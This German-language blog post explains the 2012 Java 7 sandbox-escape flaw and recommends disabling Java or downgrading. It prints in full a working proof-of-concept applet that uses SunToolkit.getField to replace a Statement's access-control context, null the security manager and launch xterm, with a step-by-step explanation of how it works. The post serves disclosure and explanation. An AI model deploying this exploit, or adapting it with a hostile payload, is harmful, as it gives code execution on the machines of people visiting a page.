Gefährlicher Java7 ZeroDay Exploit

Java 7 (also Version 1.7) sollte man beim Surfen im Web wohl eher nicht verwenden. Grund dafür ist eine Sicherheitslücke, die aus dem Design der JRE hervorgeht. Mit deren Hilfe ist es einem Angreifer möglich, Schadprogramme nach Belieben auf den Rechner des Opfers zu bringen.

Die Sicherheitslücke betrifft dabei soweit bisher bekannt alle Web Browser sowie alle Betriebssysteme (mit installierter Java 7 JRE).


Auf das Problem aufmerksam hat dieser Blogeintrag auf Errata Security, der die Möglichkeiten für einen Angreifer auch gleich demonstriert.

Grundsätzlich funktioniert ein Angriff über diese Sicherheitslücke so:

1. Das Opfer wird auf eine infizierte oder bösartige Webseite gebracht, bzw. öffnet diese Webseite im Browser.
2. Auf dieser Webseite befindet sich ein Java Applet, das ersten Schadcode enthält und diesen Dank der Sicherheitslücke ausführen kann.
3. Das Applet umgeht also die Java "Sandbox" und hat somit vollen Zugriff auf den Computer des Opfers. Das bedeutet das Applet kann beliebige Dateien öffnen, ändern, neu schreiben und ausführen. Dadurch kann weitere Schadsoftware eingeschleust werden.
   Einzig durch ein lokales Rechtesystem wird dieser Zugriff auf Dateien beschränkt. So kann auf einem Linux System natürlich nur Zugriff auf Dateien erfolgen, auf die der aktuelle Benutzer auch Zugriff hat.
4. Mit Hilfe der nachgeladenen Schadsoftware kann der Benutzer ausspioniert oder seine persönlichen Daten gelöscht werden, je nach Belieben des Angreifers.

 Betroffen von der Sicherheitslücke sind alle Nutzer von Oracles JRE 7, egal ob unter Linux, Windows oder Mac. Entgegen erster Behauptungen lässt sich die Sicherheitslücke auch unter Google Chrome ausnutzen.

Kern des Angriffs ist ein Designproblem innerhalb der JRE, welches es einem Applet möglich macht, die eigenen Sicherheitseinstellungen/-beschränkungen selbst festzulegen, bzw. zu ändern.

Ein Beispielcode:

 1 package java7zeroday;
 2 
 3 import java.applet.Applet;
 4 import java.awt.Graphics;
 5 import java.beans.Expression;
 6 import java.beans.Statement;
 7 import java.lang.reflect.Field;
 8 import java.net.URL;
 9 import java.security.*;
10 import java.security.cert.Certificate;
11 
12 
13 
14 public class ZeroDay extends Applet
15 {
16   public ZeroDay()
17   {
18     // Nothing to do
19   }
20 
21   public void disableSecurity()
22     throws Throwable
23   {
24     Statement localSt = new Statement( System.class,
25         "setSecurityManager", new Object[1] );
26     Permissions localPerm = new Permissions( );
27     localPerm.add( new AllPermission( ) );
28     ProtectionDomain localPD =
29       new ProtectionDomain(
30           new CodeSource( new URL( "file:///" ), new Certificate[0] ),
31           localPerm
32           );
33     AccessControlContext localACC = new AccessControlContext(
34         new ProtectionDomain[] {
35           localPD
36           }
37         );
38     SetField( Statement.class, "acc", localSt, localACC );
39   }
40 
41 
42   private Class GetClass( String param )
43     throws Throwable
44   {
45     Object arrayOfObj[] = new Object[1];
46     arrayOfObj[0] = param;
47     Expression localExp = new Expression( Class.class, "forName", arrayOfObj );
48     localExp.execute( );
49     return (Class) localExp.getValue( );
50   }
51 
52   private void SetField( Class pCls, String pStr, Object pObj1, Object pObj2 )
53     throws Throwable
54   {
55     Object arrayOfObj[] = new Object[2];
56     arrayOfObj[0] = pCls;
57     arrayOfObj[1] = pStr;
58     Expression localExp = new Expression( GetClass( "sun.awt.SunToolkit" ),
59         "getField", arrayOfObj );
60     localExp.execute();
61     ((Field) localExp.getValue()).set(pObj1, pObj2);
62   }
63 
64   public void init( )
65   {
66     try
67     {
68       disableSecurity( );
69       Process localProcess = null;
70       localProcess = Runtime.getRuntime().exec( "xterm" );
71       if (localProcess != null)
72       {
73         localProcess.waitFor();
74       }
75     }
76     catch (Throwable localThrowable)
77     {
78       localThrowable.printStackTrace( );
79     }
80   }
81 
82   public void paint( Graphics pG )
83   {
84     pG.drawString( "Loading ZeroDay Exploit", 50, 25 );
85   }
86 }
87 

 Während der Applet Initialisierung (also in der init Methode) wird die Methode disableSecurity aufgerufen. Innerhalb dieser Methode werden zunächst neue Rechte definiert, die dem Applet alle (AllPermission) Rechte auf lokale Dateien (file:///) gewährleisten.

Diese Rechte können (oder sollten) normalerweise nicht auf den aktuellen SecurityManager des Applets anwendbar sein. Doch genau das schafft die anschließend gerufene Methode setField. Über den Umweg über sun.awt.SunToolkit's Methode getField wird in einem privilegiertem Codebereich die vorher gewählte Methode setSecurityManager von System mit den neuen (erweiterten) Rechten gerufen. Da dies in einem privilegiertem Bereich stattfindet, ist es kein Verstoß gegen das Sicherheitskonzept der Sandbox, was danach jedoch vollkommen ausgehebelt ist.

Anschließend kann das Applet daher z.B. jede Datei auf dem Zielsystem ausführen, im Beispiel durch einen Aufruf von xterm gezeigt.


Laut VU#636312 ist nicht nur Oracles Java JRE 7 betroffen, sondern auch OpenJDK JRE 1.7, welches auf Linux Systemen gerne als Ersatz verwendet wird.

Ich verwende ebenfalls das OpenJDK, konnte darüber aber mit den beschriebenen Mitteln noch keinen "Angriff" erfolgreich durchführen. Obiger Code führt auf meinem OpenJDK ledigliche dazu, dass mein Firefox nicht mehr reagiert und auf 100% CPU Auslastung hochdreht.

Eine Lösung des Problems ist vorerst nur das Deaktivieren von Java im Browser oder ein Downgrade auf 1.6.